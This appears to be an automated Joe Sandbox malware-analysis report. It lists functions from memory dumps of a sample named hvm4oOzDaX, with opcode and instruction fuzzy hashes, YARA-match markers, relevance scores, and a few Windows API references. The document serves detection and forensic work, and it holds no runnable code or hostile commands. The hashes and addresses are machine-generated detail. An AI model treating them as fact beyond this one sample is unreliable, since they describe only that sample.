Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b37e6520335243949131a18a83a17cc8901bab5f37b3ea18fa95d5cf57de7c4
Instruction ID: b0073b4e81b3b4c6f351a2a9ec2f3d3e844e2345d86076d65bf3a09a20e5d24f
Opcode Fuzzy Hash: 0b37e6520335243949131a18a83a17cc8901bab5f37b3ea18fa95d5cf57de7c4
Instruction Fuzzy Hash: 07B1F7356106099FDB19CF28C48AB657BE0FF45364F29C658E89ACF2E1C735E992CB40

Function 0084AB76 Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3242432837.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_819000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d20200dc33c2fae8da11fe1fc7ec02208abbecb945aeb8649f7640ddfa774e3
Instruction ID: c661511c375823cb03104133bc0d25d66784a22c158351404090384b15425ad5
Opcode Fuzzy Hash: 1d20200dc33c2fae8da11fe1fc7ec02208abbecb945aeb8649f7640ddfa774e3
Instruction Fuzzy Hash: 4351F8F3A08204AFE3046E29DC4577EB7EAEBD4720F178A2DEBC487744E93958158646

Function 0090CEE5 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3242432837.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_819000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb6dc605e61ada00a8d2ff00964011d22be5bfcc7f3f436509bc30cc94018a46
Instruction ID: 5e123e5cff1804b1e255a84c9e0035287d6415887e88c619aa6166ccbba34886
Opcode Fuzzy Hash: bb6dc605e61ada00a8d2ff00964011d22be5bfcc7f3f436509bc30cc94018a46
Instruction Fuzzy Hash: 4451DFF3F141104BF314493DDD9976AB696AB95320F2F4239EA98EB7C4E83D99094282

Function 04D600C0 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f9c328faa589ed2958ce016cab2e6c87a178695b3d2a0ba157ef061216cdb92
Instruction ID: c453b25083f14b010c3dd2db8f6591a22a741e3b0ee398ee5835aba07c0f925c
Opcode Fuzzy Hash: 5f9c328faa589ed2958ce016cab2e6c87a178695b3d2a0ba157ef061216cdb92
Instruction Fuzzy Hash: 2331E1E734C260BFB203D5452F20AF72B6DE5CA7343308826F887C6506F289AA492471

Function 04D60055 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d2bf5004458de1eac0ad4ec3e43e4e84d64c1d8282d9494965596c44f8789ff
Instruction ID: f6d725fc7e9b4b7ecdf52733ede66647875aa12f53396c231dcecb1fc5cbad4c
Opcode Fuzzy Hash: 4d2bf5004458de1eac0ad4ec3e43e4e84d64c1d8282d9494965596c44f8789ff
Instruction Fuzzy Hash: A231F7E734C1607FB203D5552F60AF7276DD6DA7347308826F887C6547F289AA492071

Function 04D60009 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 597f1787b016315dc3d556e7c26cf17f8321e617121d82715d51648dbb521cd3
Instruction ID: 4ad335b607d2283fdbccd87a60a76b5aa3dbf0737fb6e9fa12974f9d0aad815b
Opcode Fuzzy Hash: 597f1787b016315dc3d556e7c26cf17f8321e617121d82715d51648dbb521cd3
Instruction Fuzzy Hash: E731B1E734C121BF7243D5452F64AF7176EE2DA7347308826B887C6646F389EA492472

Function 04D60000 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15ecbc6980da7eeae6fe19cbf576321422f9fbc0969162d3255572507bcdd05e
Instruction ID: a47c799f48a8d37b6d8944faa5eb6d6e444e51b57a994a22dfd531506cacc020
Opcode Fuzzy Hash: 15ecbc6980da7eeae6fe19cbf576321422f9fbc0969162d3255572507bcdd05e
Instruction Fuzzy Hash: 8E31D1E738C120BF7243D4452F64AF7166EE2DA7347308826B887C6646F39DEA493471

Function 00963778 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3242432837.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_819000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9bba82218927eb422bfc14ec2c18043cb7612eedad8fb77eb6e7b966cd4e236
Instruction ID: 56bb82213c02b1d8d88bcb3bb68ab563afd523f5950fd1bfce53c27e5b70989d
Opcode Fuzzy Hash: f9bba82218927eb422bfc14ec2c18043cb7612eedad8fb77eb6e7b966cd4e236
Instruction Fuzzy Hash: A441C1F3A182045FE304AA6DDC9177BB7DAEFD4720F1A843DAF88C3784E93958154296

Function 04D60023 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f06300803e379504fe6b3f9ef6a496d11552c316c75715780c61dc6d5b8d49d
Instruction ID: fa2d805d14cec5008024e8ae74595dd7ee6c965a85519b21819d93058033640b
Opcode Fuzzy Hash: 6f06300803e379504fe6b3f9ef6a496d11552c316c75715780c61dc6d5b8d49d
Instruction Fuzzy Hash: FE31B1E734C120BF7143D5452F64AF7176EE1DA7347308826F887C6646F38DAA492472

Function 04D600EE Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42c4c8d59fdcd5170ed393f23d4c480b4e432501929254daed1d98aff66147f2
Instruction ID: bfeb8cd1a7464c336281be44092ab1e261fa3064c10fef4e5c58f7965007f33d
Opcode Fuzzy Hash: 42c4c8d59fdcd5170ed393f23d4c480b4e432501929254daed1d98aff66147f2
Instruction Fuzzy Hash: 313169E738C060BFB203C8115B606FB1B9DE6D6630730886AF483C7647F28DEA4A6431

Function 04D6002E Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 460091520bcffbf71996f8126a666f6257eea867c8a68b13bc6e1919b917d79f
Instruction ID: 265cc3401d4ef9425d28660114ed0547dc80c6b4c4eaea15a0be2d805be775a8
Opcode Fuzzy Hash: 460091520bcffbf71996f8126a666f6257eea867c8a68b13bc6e1919b917d79f
Instruction Fuzzy Hash: E331C3E734C120BFB143D5456F64AF7176DE2DA7347308826F887C6646F38DAA492472

Function 0092C9A9 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3242432837.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_819000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb9e309783cfa78667159dea9c5ec70a802c482ce805402cbb716d43a9c69cb4
Instruction ID: e49dc1d45cbb35b2a226e305755cb895609732837ded52c2793c54d185cea37f
Opcode Fuzzy Hash: eb9e309783cfa78667159dea9c5ec70a802c482ce805402cbb716d43a9c69cb4
Instruction Fuzzy Hash: A2519DF7F512254BF3504979CD4835266939BE5320F2F42798E8CAB3C5E97E9C4A4384

Function 04CF8DB3 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 752c4a2c8d500711185399bf2f6f55f818018c6fd5b69fec1d7075e323bfd424
Instruction ID: 724bc7ef692b0ef9119f38d15fea39291f2f972e93ae0160779d16b99792f805
Opcode Fuzzy Hash: 752c4a2c8d500711185399bf2f6f55f818018c6fd5b69fec1d7075e323bfd424
Instruction Fuzzy Hash: 01519AB1E003058FEB64DF58DD817AEBBF2FB48314F54852AD901EB254D338AA11CB65

Function 04D6008B Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 699943ae6834a8b302f66a44bf5046d54c2acece04a0f3c6765ee056fc2ed22b
Instruction ID: 2b9431e2f3a94213bbc9bbbc41b013056cdcd719a028509f76914e4606d4d9e6
Opcode Fuzzy Hash: 699943ae6834a8b302f66a44bf5046d54c2acece04a0f3c6765ee056fc2ed22b
Instruction Fuzzy Hash: E521C7E734C120BFB143D5452F64AFB176DE5DA7347308826F447C6606F39DAA492471

Function 04D600A8 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 173757706377411dc83c0f4e49b3a3afc7b5c33f8f754da70123aa9cb7571b93
Instruction ID: 1d6910326c20002a53d71983e5aba0c719d8d032961c9644097742d18d95ee62
Opcode Fuzzy Hash: 173757706377411dc83c0f4e49b3a3afc7b5c33f8f754da70123aa9cb7571b93
Instruction Fuzzy Hash: A921C5E734C120BFB143D5456F64AF7176EE5DA7307308826F487C6606F389EA492471

Function 04D09912 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70aa1c128304840ff80c1a6881110ca736e5edb3ee9a18fd8b7b5cd90a907d72
Instruction ID: 836b5d193dfdd3b559c4c278e71c64bbacdd838400c51d71b892fa9245357d27
Opcode Fuzzy Hash: 70aa1c128304840ff80c1a6881110ca736e5edb3ee9a18fd8b7b5cd90a907d72
Instruction Fuzzy Hash: 2A21B373F204394B7B0CC57ECC522BDB6E1C78C601745823AE8A6EA2C1D96CD917E2E4

Function 0041A512 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70aa1c128304840ff80c1a6881110ca736e5edb3ee9a18fd8b7b5cd90a907d72
Instruction ID: 1ad9d6d7365e600a7bb69782b0834f4d420f3f91d9e0c3ac1aa475b9fcfe298e
Opcode Fuzzy Hash: 70aa1c128304840ff80c1a6881110ca736e5edb3ee9a18fd8b7b5cd90a907d72
Instruction Fuzzy Hash: 6521B673F2043947770CC57ECC522BDB6E1C78C501745423AE8A6EA2C1D96CD917E2E4

Function 04B6A779 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70aa1c128304840ff80c1a6881110ca736e5edb3ee9a18fd8b7b5cd90a907d72
Instruction ID: 7b26a12b688a7df3586c59b2aacaa31c0e852f1e34bf51a9b5facb1fadf39d9a
Opcode Fuzzy Hash: 70aa1c128304840ff80c1a6881110ca736e5edb3ee9a18fd8b7b5cd90a907d72
Instruction Fuzzy Hash: 4321B373F205394B7B0CC57E8C522BDB6E1C78C601745823AE8A6EA2C1D96CD917E2E4

Function 04D61D84 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfc3f70873593ce281f0dfa5959716c3dd9685ce8ed876d05590d166d5eeebc8
Instruction ID: 9bb0e5e254b9bc8e55cfea1832cc08fc34999733d520a6239fecf07e7803e383
Opcode Fuzzy Hash: cfc3f70873593ce281f0dfa5959716c3dd9685ce8ed876d05590d166d5eeebc8
Instruction Fuzzy Hash: CC0129EB30C2217FB10084962E21EFF276DD2D6774731D527F983CA102E285DE4A6471

Function 04D097F2 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a72ccc6e8b489e63011b81e3a8a50db20cbc6dad3c7a88df22060b293fe79ba1
Instruction ID: 1358fd26e9908f79ee1e23fc8a3f6b58dc5e037ed3035296328e616b384492ff
Opcode Fuzzy Hash: a72ccc6e8b489e63011b81e3a8a50db20cbc6dad3c7a88df22060b293fe79ba1
Instruction Fuzzy Hash: 1E11A363F30C256B675C81698C132BAA1D2EBD815030F433AD826E73C4E8A4EE23D290

Function 0041A3F2 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a72ccc6e8b489e63011b81e3a8a50db20cbc6dad3c7a88df22060b293fe79ba1
Instruction ID: f1e66852e6b8581706c01849561528f719d4aeccf6fe4fc0aff0fb2656777429
Opcode Fuzzy Hash: a72ccc6e8b489e63011b81e3a8a50db20cbc6dad3c7a88df22060b293fe79ba1
Instruction Fuzzy Hash: D6118A73F30C255B675C816D8C172BAA5D2EBDC25074F533AD826E7284E998DE23D290

Function 04B6A659 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a72ccc6e8b489e63011b81e3a8a50db20cbc6dad3c7a88df22060b293fe79ba1
Instruction ID: f705b060c1f6f5262c094593700d2cd48994f03d532b45409b7b1955c26ffa67
Opcode Fuzzy Hash: a72ccc6e8b489e63011b81e3a8a50db20cbc6dad3c7a88df22060b293fe79ba1
Instruction Fuzzy Hash: 1111A723F30C255B675C81698C1327AA1D2DBDC14030F433AD827E7284E894DE23D290

Function 00A08778 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3242432837.000000000099E000.00000040.00000001.01000000.00000003.sdmp, Offset: 0099E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_99e000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6edcf2d952b4bfc74725b3db0cfc7265f362c7032a7cc0f987bc42a88c4776e6
Instruction ID: 5cc1de77d66cad0ef2169fa0738b3d77f5f311eed52ab5426aa96d95a1560622
Opcode Fuzzy Hash: 6edcf2d952b4bfc74725b3db0cfc7265f362c7032a7cc0f987bc42a88c4776e6
Instruction Fuzzy Hash: 1E21E9B211C7089FE351FE69DC866BAB7E4EF58300F06892DE6D4C3610E635A8548B57

Function 04CF9D60 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 4d50343ea1dc0f71b4401922dd6807da43537b0dc4f1df8b5e80f4e4b510a8af
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: DB11E2F724108243DED88A2ECCB47F7A797EBC632573C426AD2424BB58D23BB2559600

Function 0040A960 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: bf3d62387290270b8e9c206f9b330aa6ec5fad9da35dacc9460757c01b80fc97
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 43115EF730038143D704862EC5B45B7E395EBC6321B2F4B7BC0825B7C8C23A9865E50A

Function 100102A0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 6858cf0c51ff5caabfc3a7f957f7e97cc4d55c404d013567cdc706fa4bfc5bf2
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 5111087774118243D681C56DC4F86ABA3DEFBC52A0729436AF0D28FA58D2F2DAC5A600

Function 04B5ABC7 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 167435ee977a7fbd445ba0559425f01829aa2938fa114d453fb5a653692ef81a
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 5D110477240141439715CA2DDDB43BAE7B5EFCE320B2C47EAD9826B778D222F5459600

Function 00D0986B Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3243263415.0000000000D09000.00000040.00000020.00020000.00000000.sdmp, Offset: 00D09000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d09000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: d21b1c5febb95d7ba832aab063ef74e5b9e819e1fb81026a85c94af2280c0b5e
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: CF117C72740100AFDB44DE55DCA1FA6B3EAEB89320B298065ED08CB356D675E801C770

Function 04B50D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: a9a372e72a0caa430201dbf1f27ff0e92a8f4d5767ac8951d198d37f9d6f0fe4
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 3001A276A006048FDF21EF24C814BAAB3E5EBC6316F5548E5ED0A9B291E774B9418F90

Function 00AA7837 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3242432837.0000000000AA7000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_aa7000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a01865fdfd0fc28f344df22eb46f0a0462200f5041fe980c0cae816e8463ac5
Instruction ID: 45019a14ae03cc5dd41f057dc49a5e14c439d2003480ad2d6b4935d9013ea9c2
Opcode Fuzzy Hash: 4a01865fdfd0fc28f344df22eb46f0a0462200f5041fe980c0cae816e8463ac5
Instruction Fuzzy Hash: CBF0E2A610C3817CF6029AA16F05EEBAE18974B720F344466F1069B196C28A0285D232

Function 04D02A6F Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 938b1ef97d91fa147a56b9632c6ce73ee018995428c08987881a566186e623af
Instruction ID: b4ae77fc90a4fa150eaddbe439427d48a112bff6acf9a5ab564842d58761aa4e
Opcode Fuzzy Hash: 938b1ef97d91fa147a56b9632c6ce73ee018995428c08987881a566186e623af
Instruction Fuzzy Hash: 89E08C32A12238EBCB24DB9DC908A8AF3ECEB45B04B118496B501D3140C6B0EE01C7E0

Function 0041366F Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 938b1ef97d91fa147a56b9632c6ce73ee018995428c08987881a566186e623af
Instruction ID: fd5c11342e53f5fd9e78528a8d63764efe72d1229905d7d1658511e5362cd08d
Opcode Fuzzy Hash: 938b1ef97d91fa147a56b9632c6ce73ee018995428c08987881a566186e623af
Instruction Fuzzy Hash: EEE04632911228EBCB24DF898A08A8AF3ACEB44B09B11049AB501D3210C274DE80C7D4

Function 10007A76 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 225e9490ce15994035050fff8e8d94bbe50aeb352c3921d505d22bbc77bda227
Instruction ID: 49573a245b17cd2143a7f0a663dc82b9d5ba07e6c12e429f55ccbb336c262c76
Opcode Fuzzy Hash: 225e9490ce15994035050fff8e8d94bbe50aeb352c3921d505d22bbc77bda227
Instruction Fuzzy Hash: CEE08C32E11228EBCB10CB88C940E8AB3ECFB86A80F114096B505E3101D274DF00C7C2

Function 04B638D6 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 938b1ef97d91fa147a56b9632c6ce73ee018995428c08987881a566186e623af
Instruction ID: 3adf2e35d5b9c0a310d9754d6c6fb1823ddebb16a07c1d5795a84cded8ca527e
Opcode Fuzzy Hash: 938b1ef97d91fa147a56b9632c6ce73ee018995428c08987881a566186e623af
Instruction Fuzzy Hash: 93E08C72911228EBCB24DB8CC905D8AF3FCEB44B40B11849AF906D3140C274EE00CBD0

Function 04CFE30D Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9253131997efead4d70db6443559b4166ab1d7f2f85f8f4b6bf8833fc8910a7c
Instruction ID: 23e5f59e324a4176bb4cb1d0277f51050953cdf21f1838d274749ce008d5f8ee
Opcode Fuzzy Hash: 9253131997efead4d70db6443559b4166ab1d7f2f85f8f4b6bf8833fc8910a7c
Instruction Fuzzy Hash: 53E04631400108BFCB117F14DC4CA8A3B2AEB00241B108424FA0986131CB39EE82CA54

Function 00409088 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042AF64,00000FA0,?,?,00409066), ref: 00409094
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00409066), ref: 0040909F
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00409066), ref: 004090B0
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 004090C2
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 004090D0
